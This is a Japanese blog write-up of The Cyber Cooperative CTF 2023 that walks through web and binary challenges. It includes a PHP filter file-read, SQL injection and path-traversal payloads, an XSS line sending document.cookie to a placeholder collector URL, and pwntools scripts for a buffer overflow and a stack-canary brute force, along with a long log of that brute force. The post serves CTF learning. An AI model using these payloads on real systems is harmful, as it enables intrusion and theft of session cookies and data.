はじめに

12/15 2:01 ~ 12/18 1:59 に開催されたThe Cyber Cooperative CTFに参加しました。

日曜夜に見かけて、ppbの開発の合間にちょっとだけ解いてみました。

結果は散々でした。

Web

1問しか解けてないです。他にも2問見たんですが、Flagの取得には至らず。

Leaky Site

問題文

Try to get source of main_page.

<?php
    if(isset($_GET['resource'])){
        include($_GET['resource'] . '.php');
    } else {
        header("Location: /index.php?resource=main_page");
    }
?>

https://thecybercoopctf-leaky-site.chals.io

Writeup

まぁ書いてあるとおりです。

$ curl 'https://thecybercoopctf-leaky-site.chals.io/index.php?resource=main_page'
<!DOCTYPE html>
<html lang="en">
<head>
    <title>Main</title>
    <link rel="stylesheet" href="https://unpkg.com/@ctfdio/picocss-themes@0.0.3/dist/css/picostrap.min.css">
    </head>
    <body>
        <div class="container my-5">
            <h3>There's a flag here but it's in the source code...</h3>
            <p>
                Can you pull it out?
                <pre>
                                    </pre>
                PHP is quite weird about filters I hear...
            </p>
        </div>
    </body>
</html>

とのことなので、main_pageを読めば良い。

filterの存在を思い出し、やります。

$ curl 'https://thecybercoopctf-leaky-site.chals.io/index.php?resource=php://filter/convert.base64-encode/resource=main_page' 2>/dev/null | base64 -d

<!DOCTYPE html>
<html lang="en">
<head>
    <title>Main</title>
    <link rel="stylesheet" href="https://unpkg.com/@ctfdio/picocss-themes@0.0.3/dist/css/picostrap.min.css">
    </head>
    <body>
        <div class="container my-5">
            <h3>There's a flag here but it's in the source code...</h3>
            <p>
                Can you pull it out?
                <pre>
                    <?php // "flag{0h_n0_php_y0ur_l3aking_4ll_0ver}" ?>
                </pre>
                PHP is quite weird about filters I hear...
            </p>
        </div>
    </body>
</html>

はい。

inbox

問題文

I heard this email server has two halves of a whole flag in it!

https://thecybercoopctf-inbox.chals.io

挑戦

普通にSQLiができたので、' UNION SELECT * from flag ;--とかやってみたんですが、エラーでした。

Upsolve

よく見たらメールアドレスだけじゃなくてIDも取ってるので、それに合わせる

'UNION SELECT 1, * from flags ;--

flag{off_to_a_good_start_

なるほどまだあるのか

テーブルを列挙してもそれっぽいのが無いので、他を探すとメール表示でLFIできた

$ curl 'https://thecybercoopctf-inbox.chals.io/mail/alice@fakeinbox.com/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fusr%2Fsrc%2Fapp%2Fflag%2Etxt'
even_better_finish_though}%

grayboard

問題文

My homework for my web design class is really bad but I don’t know what to do. I really need to pass this class, can you help me?

https://thecybercoopctf-grayboard.chals.io

挑戦

なるほどXSSねという感じで、pipedreamを用意。

<img src=x onerror="fetch('https://PIPEDREAM_URL/?'+document.cookie)">

でadminのCookieを取得し、adminでログインしてみるも、特に何もない。なんそれ

嫌になってPwnへ

Upsolve

いやわからん。admin取ったんだから勝ちだろ。

Pwn(Exploitation)

crashme

問題文

Can you make this program crash?

nc 0.cloud.chals.io 17289

Writeup

まぁ言われた通りセグフォさせるだけです。aいっぱい入れます。

#!/usr/bin/env python3
from pwn import *
binfile = 'crashme'
context.log_level = 'critical'
e = ELF(binfile)
context.binary = binfile
io = remote('0.cloud.chals.io', 17289)

payload = b'a' * 0x40
io.sendlineafter(b': ', payload)
io.interactive()
$ ./solve.py

You entered aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
flag{segfaults_a_hackers_best_friend}

medbuf

問題文

a little harder this time

nc 0.cloud.chals.io 27380

Writeup

普通にBOF

#!/usr/bin/env python3
from pwn import *
binfile = './medbof'
context.log_level = 'critical'
e = ELF(binfile)
context.binary = binfile
io = remote('0.cloud.chals.io', 27380)

pad = b'a' * 0x28
system = pack(e.sym['do_system'])

payload = pad + system
io.sendlineafter(b'time', payload)
io.interactive()
$ ./solve.py
$ cat flag.txt
flag{getting_better_at_hacking_binaries_i_see...}

8^256

問題文

Hello, welcome to my little forking binary I made it special just for you I hope you don’t disappoint me.

nc 0.cloud.chals.io 27190

Writeup

canaryかな? と思ったらcanaryでした。

[0x08048520]> pdg @main

void main(void)

{
    uchar *puVar1;
    int32_t in_GS_OFFSET;
    uint uStackY52;
    uint uStack36;
    uchar auStack32 [4];
    uchar auStack28 [4];
    int32_t wstatus;
    uint pid;
    uint var_ch;
    uchar *puStack12;

    puStack12 = &stack0x00000004;
    pid = *(in_GS_OFFSET + 0x14);
    sym.imp.puts("Hello, welcome to my little forking binary");
    sym.imp.puts("I made it special just for you");
    sym.imp.puts("I hope you don\'t disappoint me.");
    puVar1 = &stack0xffffffe0;
    do {
        *(puVar1 + -4) = 0x8048789;
        wstatus = sym.imp.fork();
        if (wstatus == 0) {
            *(puVar1 + -0x10) = "\nForked proccess...";
            *(puVar1 + -0x14) = 0x804879f;
            sym.imp.puts();
            *(puVar1 + -4) = 0x80487a7;
            sym.handle();
            *(puVar1 + -0x10) = "... and exited successfully!";
            *(puVar1 + -0x14) = 0x80487b4;
            sym.imp.puts();
            *(puVar1 + -0x10) = 0;
            *(puVar1 + -0x14) = 0x80487c1;
            sym.imp._exit();
            puVar1 = puVar1 + -0x10;
        }
        *(puVar1 + -8) = 0;
        *(puVar1 + -0xc) = &stack0xffffffe4;
        *(puVar1 + -0x10) = wstatus;
        *(puVar1 + -0x14) = 0x80487d2;
        sym.imp.waitpid();
    } while( true );
}
[0x08048520]> pdg @sym.handle

void sym.handle(void)

{
    int32_t iVar1;
    uint uVar2;
    int32_t in_GS_OFFSET;
    uint var_98h;
    uint var_94h;
    uint var_90h;
    uint str;
    int32_t canary;

    canary = *(in_GS_OFFSET + 0x14);
    sym.imp.puts("I am the forked process!");
    sym.imp.puts("How much data would you like to read?");
    iVar1 = sym.imp.read(0, &str, 0x7f);
    *(&str + iVar1 + 1) = 0;
    uVar2 = sym.imp.atoi(&str);
    sym.imp.memset(&str, 0, 0x80);
    sym.imp.printf("Give me %d bytes of data\n", uVar2);
    sym.imp.read(0, &str, uVar2);
    do {
        iVar1 = sym.imp.getchar();
        if (iVar1 == 10) break;
    } while (iVar1 != -1);
    sym.imp.puts("Exiting...");
    if (canary != *(in_GS_OFFSET + 0x14)) {
        sym.imp.__stack_chk_fail();
    }
    return;
}

こんな感じなので、forkされたプロセスの終了状態によって特定できます。時間がかかるのでここで終了。

#!/usr/bin/env python3
from pwn import *
binfile = './canary'
context.log_level = 'critical'
e = ELF(binfile)
context.binary = binfile
io = remote('0.cloud.chals.io', 27190)

canary = b'\x00'


while len(canary) != 8:
    print('Canary Length: ' + str(len(canary)))

    for j in range(256):
        if j == 10:
            continue
        payload = b'a' * 0x80 + canary + bytes([j])
        print('\tTrying: ', end='')
        print(canary + bytes([j]))
        io.sendlineafter(b'read?', bytes(str(len(payload)), 'utf-8'))
        io.sendlineafter(b'data',payload)

        io.recvuntil(b'Exiting...')
        line = io.recvuntil(b'Forked proccess...\n')

        if b'successfully!' in line:
            canary += bytes([j])
            print('\tFound: ', end='')
            print(canary)
            break
        if j == 255:
            print('\tFailed')
            exit()


payload = (b'a' * 0x80) + canary + (b'b'*8) + pack(e.sym['give_shell'])
io.sendlineafter(b'read?', bytes(str(len(payload)), 'utf-8'))
io.sendlineafter(b'data',payload)

io.sendline(b'echo shell')
io.sendlineafter(b'shell', b'cat flag.txt')
print(io.readline().decode(), end='')
io.interactive()
$ ./solve.py
Canary Length: 0
    Trying: b'\x00'
    Found: b'\x00'
Canary Length: 1
    Trying: b'\x00\x00'
    Trying: b'\x00\x01'
    Trying: b'\x00\x02'
    Trying: b'\x00\x03'
    Trying: b'\x00\x04'
    Trying: b'\x00\x05'
    Trying: b'\x00\x06'
    Trying: b'\x00\x07'
    Trying: b'\x00\x08'
    Trying: b'\x00\t'
    Trying: b'\x00\x0b'
    Trying: b'\x00\x0c'
    Trying: b'\x00\r'
    Trying: b'\x00\x0e'
    Trying: b'\x00\x0f'
    Trying: b'\x00\x10'
    Trying: b'\x00\x11'
    Trying: b'\x00\x12'
    Trying: b'\x00\x13'
    Trying: b'\x00\x14'
    Trying: b'\x00\x15'
    Trying: b'\x00\x16'
    Trying: b'\x00\x17'
    Trying: b'\x00\x18'
    Trying: b'\x00\x19'
    Trying: b'\x00\x1a'
    Trying: b'\x00\x1b'
    Trying: b'\x00\x1c'
    Trying: b'\x00\x1d'
    Trying: b'\x00\x1e'
    Trying: b'\x00\x1f'
    Trying: b'\x00 '
    Trying: b'\x00!'
    Trying: b'\x00"'
    Trying: b'\x00#'
    Trying: b'\x00$'
    Trying: b'\x00%'
    Trying: b'\x00&'
    Trying: b"\x00'"
    Trying: b'\x00('
    Trying: b'\x00)'
    Trying: b'\x00*'
    Trying: b'\x00+'
    Trying: b'\x00,'
    Trying: b'\x00-'
    Trying: b'\x00.'
    Trying: b'\x00/'
    Trying: b'\x000'
    Trying: b'\x001'
    Trying: b'\x002'
    Trying: b'\x003'
    Trying: b'\x004'
    Trying: b'\x005'
    Trying: b'\x006'
    Trying: b'\x007'
    Trying: b'\x008'
    Trying: b'\x009'
    Trying: b'\x00:'
    Trying: b'\x00;'
    Trying: b'\x00<'
    Trying: b'\x00='
    Trying: b'\x00>'
    Trying: b'\x00?'
    Trying: b'\x00@'
    Trying: b'\x00A'
    Trying: b'\x00B'
    Trying: b'\x00C'
    Trying: b'\x00D'
    Trying: b'\x00E'
    Trying: b'\x00F'
    Trying: b'\x00G'
    Trying: b'\x00H'
    Trying: b'\x00I'
    Trying: b'\x00J'
    Trying: b'\x00K'
    Trying: b'\x00L'
    Trying: b'\x00M'
    Trying: b'\x00N'
    Trying: b'\x00O'
    Trying: b'\x00P'
    Trying: b'\x00Q'
    Trying: b'\x00R'
    Trying: b'\x00S'
    Trying: b'\x00T'
    Trying: b'\x00U'
    Trying: b'\x00V'
    Trying: b'\x00W'
    Trying: b'\x00X'
    Trying: b'\x00Y'
    Trying: b'\x00Z'
    Trying: b'\x00['
    Trying: b'\x00\\'
    Trying: b'\x00]'
    Trying: b'\x00^'
    Trying: b'\x00_'
    Trying: b'\x00`'
    Trying: b'\x00a'
    Trying: b'\x00b'
    Trying: b'\x00c'
    Trying: b'\x00d'
    Trying: b'\x00e'
    Trying: b'\x00f'
    Trying: b'\x00g'
    Trying: b'\x00h'
    Trying: b'\x00i'
    Trying: b'\x00j'
    Trying: b'\x00k'
    Trying: b'\x00l'
    Trying: b'\x00m'
    Trying: b'\x00n'
    Trying: b'\x00o'
    Trying: b'\x00p'
    Trying: b'\x00q'
    Trying: b'\x00r'
    Trying: b'\x00s'
    Trying: b'\x00t'
    Trying: b'\x00u'
    Trying: b'\x00v'
    Trying: b'\x00w'
    Trying: b'\x00x'
    Trying: b'\x00y'
    Trying: b'\x00z'
    Trying: b'\x00{'
    Trying: b'\x00|'
    Trying: b'\x00}'
    Trying: b'\x00~'
    Trying: b'\x00\x7f'
    Trying: b'\x00\x80'
    Trying: b'\x00\x81'
    Trying: b'\x00\x82'
    Trying: b'\x00\x83'
    Trying: b'\x00\x84'
    Trying: b'\x00\x85'
    Trying: b'\x00\x86'
    Trying: b'\x00\x87'
    Trying: b'\x00\x88'
    Trying: b'\x00\x89'
    Trying: b'\x00\x8a'
    Trying: b'\x00\x8b'
    Trying: b'\x00\x8c'
    Trying: b'\x00\x8d'
    Trying: b'\x00\x8e'
    Trying: b'\x00\x8f'
    Trying: b'\x00\x90'
    Trying: b'\x00\x91'
    Trying: b'\x00\x92'
    Trying: b'\x00\x93'
    Trying: b'\x00\x94'
    Trying: b'\x00\x95'
    Trying: b'\x00\x96'
    Trying: b'\x00\x97'
    Trying: b'\x00\x98'
    Trying: b'\x00\x99'
    Trying: b'\x00\x9a'
    Trying: b'\x00\x9b'
    Trying: b'\x00\x9c'
    Trying: b'\x00\x9d'
    Trying: b'\x00\x9e'
    Trying: b'\x00\x9f'
    Trying: b'\x00\xa0'
    Trying: b'\x00\xa1'
    Trying: b'\x00\xa2'
    Trying: b'\x00\xa3'
    Trying: b'\x00\xa4'
    Trying: b'\x00\xa5'
    Trying: b'\x00\xa6'
    Trying: b'\x00\xa7'
    Trying: b'\x00\xa8'
    Trying: b'\x00\xa9'
    Trying: b'\x00\xaa'
    Trying: b'\x00\xab'
    Trying: b'\x00\xac'
    Trying: b'\x00\xad'
    Trying: b'\x00\xae'
    Trying: b'\x00\xaf'
    Found: b'\x00\xaf'
Canary Length: 2
    Trying: b'\x00\xaf\x00'
    Trying: b'\x00\xaf\x01'
    Trying: b'\x00\xaf\x02'
    Trying: b'\x00\xaf\x03'
    Trying: b'\x00\xaf\x04'
    Trying: b'\x00\xaf\x05'
    Trying: b'\x00\xaf\x06'
    Trying: b'\x00\xaf\x07'
    Trying: b'\x00\xaf\x08'
    Trying: b'\x00\xaf\t'
    Trying: b'\x00\xaf\x0b'
    Trying: b'\x00\xaf\x0c'
    Trying: b'\x00\xaf\r'
    Trying: b'\x00\xaf\x0e'
    Trying: b'\x00\xaf\x0f'
    Trying: b'\x00\xaf\x10'
    Trying: b'\x00\xaf\x11'
    Trying: b'\x00\xaf\x12'
    Trying: b'\x00\xaf\x13'
    Trying: b'\x00\xaf\x14'
    Found: b'\x00\xaf\x14'
Canary Length: 3
    Trying: b'\x00\xaf\x14\x00'
    Trying: b'\x00\xaf\x14\x01'
    Trying: b'\x00\xaf\x14\x02'
    Trying: b'\x00\xaf\x14\x03'
    Trying: b'\x00\xaf\x14\x04'
    Trying: b'\x00\xaf\x14\x05'
    Trying: b'\x00\xaf\x14\x06'
    Trying: b'\x00\xaf\x14\x07'
    Trying: b'\x00\xaf\x14\x08'
    Trying: b'\x00\xaf\x14\t'
    Trying: b'\x00\xaf\x14\x0b'
    Trying: b'\x00\xaf\x14\x0c'
    Trying: b'\x00\xaf\x14\r'
    Trying: b'\x00\xaf\x14\x0e'
    Trying: b'\x00\xaf\x14\x0f'
    Trying: b'\x00\xaf\x14\x10'
    Trying: b'\x00\xaf\x14\x11'
    Trying: b'\x00\xaf\x14\x12'
    Trying: b'\x00\xaf\x14\x13'
    Trying: b'\x00\xaf\x14\x14'
    Trying: b'\x00\xaf\x14\x15'
    Trying: b'\x00\xaf\x14\x16'
    Trying: b'\x00\xaf\x14\x17'
    Trying: b'\x00\xaf\x14\x18'
    Trying: b'\x00\xaf\x14\x19'
    Trying: b'\x00\xaf\x14\x1a'
    Trying: b'\x00\xaf\x14\x1b'
    Trying: b'\x00\xaf\x14\x1c'
    Trying: b'\x00\xaf\x14\x1d'
    Trying: b'\x00\xaf\x14\x1e'
    Trying: b'\x00\xaf\x14\x1f'
    Trying: b'\x00\xaf\x14 '
    Trying: b'\x00\xaf\x14!'
    Trying: b'\x00\xaf\x14"'
    Trying: b'\x00\xaf\x14#'
    Trying: b'\x00\xaf\x14$'
    Trying: b'\x00\xaf\x14%'
    Trying: b'\x00\xaf\x14&'
    Trying: b"\x00\xaf\x14'"
    Trying: b'\x00\xaf\x14('
    Trying: b'\x00\xaf\x14)'
    Trying: b'\x00\xaf\x14*'
    Trying: b'\x00\xaf\x14+'
    Trying: b'\x00\xaf\x14,'
    Trying: b'\x00\xaf\x14-'
    Trying: b'\x00\xaf\x14.'
    Trying: b'\x00\xaf\x14/'
    Trying: b'\x00\xaf\x140'
    Trying: b'\x00\xaf\x141'
    Trying: b'\x00\xaf\x142'
    Trying: b'\x00\xaf\x143'
    Trying: b'\x00\xaf\x144'
    Trying: b'\x00\xaf\x145'
    Trying: b'\x00\xaf\x146'
    Trying: b'\x00\xaf\x147'
    Trying: b'\x00\xaf\x148'
    Trying: b'\x00\xaf\x149'
    Trying: b'\x00\xaf\x14:'
    Trying: b'\x00\xaf\x14;'
    Trying: b'\x00\xaf\x14<'
    Trying: b'\x00\xaf\x14='
    Trying: b'\x00\xaf\x14>'
    Trying: b'\x00\xaf\x14?'
    Trying: b'\x00\xaf\x14@'
    Trying: b'\x00\xaf\x14A'
    Trying: b'\x00\xaf\x14B'
    Trying: b'\x00\xaf\x14C'
    Trying: b'\x00\xaf\x14D'
    Trying: b'\x00\xaf\x14E'
    Trying: b'\x00\xaf\x14F'
    Trying: b'\x00\xaf\x14G'
    Trying: b'\x00\xaf\x14H'
    Trying: b'\x00\xaf\x14I'
    Trying: b'\x00\xaf\x14J'
    Trying: b'\x00\xaf\x14K'
    Trying: b'\x00\xaf\x14L'
    Trying: b'\x00\xaf\x14M'
    Trying: b'\x00\xaf\x14N'
    Trying: b'\x00\xaf\x14O'
    Trying: b'\x00\xaf\x14P'
    Trying: b'\x00\xaf\x14Q'
    Trying: b'\x00\xaf\x14R'
    Trying: b'\x00\xaf\x14S'
    Trying: b'\x00\xaf\x14T'
    Trying: b'\x00\xaf\x14U'
    Trying: b'\x00\xaf\x14V'
    Trying: b'\x00\xaf\x14W'
    Trying: b'\x00\xaf\x14X'
    Trying: b'\x00\xaf\x14Y'
    Trying: b'\x00\xaf\x14Z'
    Trying: b'\x00\xaf\x14['
    Trying: b'\x00\xaf\x14\\'
    Trying: b'\x00\xaf\x14]'
    Trying: b'\x00\xaf\x14^'
    Trying: b'\x00\xaf\x14_'
    Trying: b'\x00\xaf\x14`'
    Trying: b'\x00\xaf\x14a'
    Trying: b'\x00\xaf\x14b'
    Trying: b'\x00\xaf\x14c'
    Trying: b'\x00\xaf\x14d'
    Trying: b'\x00\xaf\x14e'
    Trying: b'\x00\xaf\x14f'
    Trying: b'\x00\xaf\x14g'
    Trying: b'\x00\xaf\x14h'
    Trying: b'\x00\xaf\x14i'
    Trying: b'\x00\xaf\x14j'
    Trying: b'\x00\xaf\x14k'
    Trying: b'\x00\xaf\x14l'
    Trying: b'\x00\xaf\x14m'
    Trying: b'\x00\xaf\x14n'
    Trying: b'\x00\xaf\x14o'
    Trying: b'\x00\xaf\x14p'
    Trying: b'\x00\xaf\x14q'
    Trying: b'\x00\xaf\x14r'
    Trying: b'\x00\xaf\x14s'
    Trying: b'\x00\xaf\x14t'
    Trying: b'\x00\xaf\x14u'
    Trying: b'\x00\xaf\x14v'
    Trying: b'\x00\xaf\x14w'
    Trying: b'\x00\xaf\x14x'
    Trying: b'\x00\xaf\x14y'
    Trying: b'\x00\xaf\x14z'
    Trying: b'\x00\xaf\x14{'
    Trying: b'\x00\xaf\x14|'
    Trying: b'\x00\xaf\x14}'
    Trying: b'\x00\xaf\x14~'
    Trying: b'\x00\xaf\x14\x7f'
    Trying: b'\x00\xaf\x14\x80'
    Trying: b'\x00\xaf\x14\x81'
    Trying: b'\x00\xaf\x14\x82'
    Trying: b'\x00\xaf\x14\x83'
    Trying: b'\x00\xaf\x14\x84'
    Trying: b'\x00\xaf\x14\x85'
    Trying: b'\x00\xaf\x14\x86'
    Trying: b'\x00\xaf\x14\x87'
    Trying: b'\x00\xaf\x14\x88'
    Trying: b'\x00\xaf\x14\x89'
    Trying: b'\x00\xaf\x14\x8a'
    Trying: b'\x00\xaf\x14\x8b'
    Trying: b'\x00\xaf\x14\x8c'
    Trying: b'\x00\xaf\x14\x8d'
    Trying: b'\x00\xaf\x14\x8e'
    Trying: b'\x00\xaf\x14\x8f'
    Trying: b'\x00\xaf\x14\x90'
    Trying: b'\x00\xaf\x14\x91'
    Trying: b'\x00\xaf\x14\x92'
    Trying: b'\x00\xaf\x14\x93'
    Trying: b'\x00\xaf\x14\x94'
    Trying: b'\x00\xaf\x14\x95'
    Trying: b'\x00\xaf\x14\x96'
    Trying: b'\x00\xaf\x14\x97'
    Trying: b'\x00\xaf\x14\x98'
    Trying: b'\x00\xaf\x14\x99'
    Trying: b'\x00\xaf\x14\x9a'
    Trying: b'\x00\xaf\x14\x9b'
    Trying: b'\x00\xaf\x14\x9c'
    Trying: b'\x00\xaf\x14\x9d'
    Trying: b'\x00\xaf\x14\x9e'
    Trying: b'\x00\xaf\x14\x9f'
    Trying: b'\x00\xaf\x14\xa0'
    Trying: b'\x00\xaf\x14\xa1'
    Trying: b'\x00\xaf\x14\xa2'
    Trying: b'\x00\xaf\x14\xa3'
    Trying: b'\x00\xaf\x14\xa4'
    Trying: b'\x00\xaf\x14\xa5'
    Trying: b'\x00\xaf\x14\xa6'
    Trying: b'\x00\xaf\x14\xa7'
    Trying: b'\x00\xaf\x14\xa8'
    Trying: b'\x00\xaf\x14\xa9'
    Trying: b'\x00\xaf\x14\xaa'
    Trying: b'\x00\xaf\x14\xab'
    Trying: b'\x00\xaf\x14\xac'
    Trying: b'\x00\xaf\x14\xad'
    Trying: b'\x00\xaf\x14\xae'
    Trying: b'\x00\xaf\x14\xaf'
    Trying: b'\x00\xaf\x14\xb0'
    Trying: b'\x00\xaf\x14\xb1'
    Trying: b'\x00\xaf\x14\xb2'
    Trying: b'\x00\xaf\x14\xb3'
    Trying: b'\x00\xaf\x14\xb4'
    Trying: b'\x00\xaf\x14\xb5'
    Trying: b'\x00\xaf\x14\xb6'
    Trying: b'\x00\xaf\x14\xb7'
    Trying: b'\x00\xaf\x14\xb8'
    Trying: b'\x00\xaf\x14\xb9'
    Trying: b'\x00\xaf\x14\xba'
    Trying: b'\x00\xaf\x14\xbb'
    Trying: b'\x00\xaf\x14\xbc'
    Trying: b'\x00\xaf\x14\xbd'
    Trying: b'\x00\xaf\x14\xbe'
    Trying: b'\x00\xaf\x14\xbf'
    Trying: b'\x00\xaf\x14\xc0'
    Trying: b'\x00\xaf\x14\xc1'
    Trying: b'\x00\xaf\x14\xc2'
    Trying: b'\x00\xaf\x14\xc3'
    Trying: b'\x00\xaf\x14\xc4'
    Trying: b'\x00\xaf\x14\xc5'
    Trying: b'\x00\xaf\x14\xc6'
    Trying: b'\x00\xaf\x14\xc7'
    Trying: b'\x00\xaf\x14\xc8'
    Trying: b'\x00\xaf\x14\xc9'
    Trying: b'\x00\xaf\x14\xca'
    Trying: b'\x00\xaf\x14\xcb'
    Trying: b'\x00\xaf\x14\xcc'
    Trying: b'\x00\xaf\x14\xcd'
    Trying: b'\x00\xaf\x14\xce'
    Trying: b'\x00\xaf\x14\xcf'
    Trying: b'\x00\xaf\x14\xd0'
    Trying: b'\x00\xaf\x14\xd1'
    Found: b'\x00\xaf\x14\xd1'
Canary Length: 4
    Trying: b'\x00\xaf\x14\xd1\x00'
    Found: b'\x00\xaf\x14\xd1\x00'
Canary Length: 5
    Trying: b'\x00\xaf\x14\xd1\x00\x00'
    Found: b'\x00\xaf\x14\xd1\x00\x00'
Canary Length: 6
    Trying: b'\x00\xaf\x14\xd1\x00\x00\x00'
    Found: b'\x00\xaf\x14\xd1\x00\x00\x00'
Canary Length: 7
    Trying: b'\x00\xaf\x14\xd1\x00\x00\x00\x00'
    Found: b'\x00\xaf\x14\xd1\x00\x00\x00\x00'

$ flag{but_is_it_cookie_or_canary_though}

Stumped

問題文

Michael’s computer science project shows the structure of tar files. It is using the tree command on the backend, and something just doesn’t seem right…

from flask import Flask, render_template, request, flash, redirect, current_app
from werkzeug.utils import secure_filename
from tempfile import mkdtemp, mkstemp
from os import path, remove, system
import tarfile
import os

app = Flask(__name__)

app.secret_key = os.urandom(32)

app_path = "/opt/app/"


@app.route("/")
def tree():
    return render_template("tree.html")


@app.route("/show_tree", methods=["GET", "POST"])
def show_tree():
    if request.method == "POST":
        if "file" not in request.files:
            return "error: file upload failed."
        submission = request.files["file"]
        if submission.filename == "":
            return "error: did not receive file"
        # get a temporary directory for the submission
        tmp_dir = mkdtemp(dir=app_path + "trees")
        # get a temporary file for the html
        _, html_out = mkstemp(dir=app_path + "static/tree_html", suffix=".html")
        # save the submission to the temporary directory
        secure_path = path.join(tmp_dir, secure_filename(submission.filename))
        submission.save(secure_path)
        # try to extract the submission
        try:
            archive = tarfile.open(secure_path)
            archive.extractall(path=tmp_dir)
            archive.close()
        except tarfile.ReadError:
            return "error: could not open tar file"
        # remove the archive
        remove(secure_path)
        # call tree on the extracted archive
        system(
            f"cd {tmp_dir} && tree -R -L 3 -H . --nolinks -o {html_out} && rm -rf {tmp_dir}"
        )
        return current_app.send_static_file(f"tree_html/{path.basename(html_out)}")

Upsolve

まぁ自明にzip slipなんですが、ファイルをどう特定すんねん。となり放置しました。uuid4でいいらしい

総括

いい息抜きになりました。

おわりに

この記事はn01e0 Advent Calendar 2023の18日目の記事です。

明日はあるかわかりません

また、IPFactory OB Advent Calendar 2023の18日目の記事も兼ねています。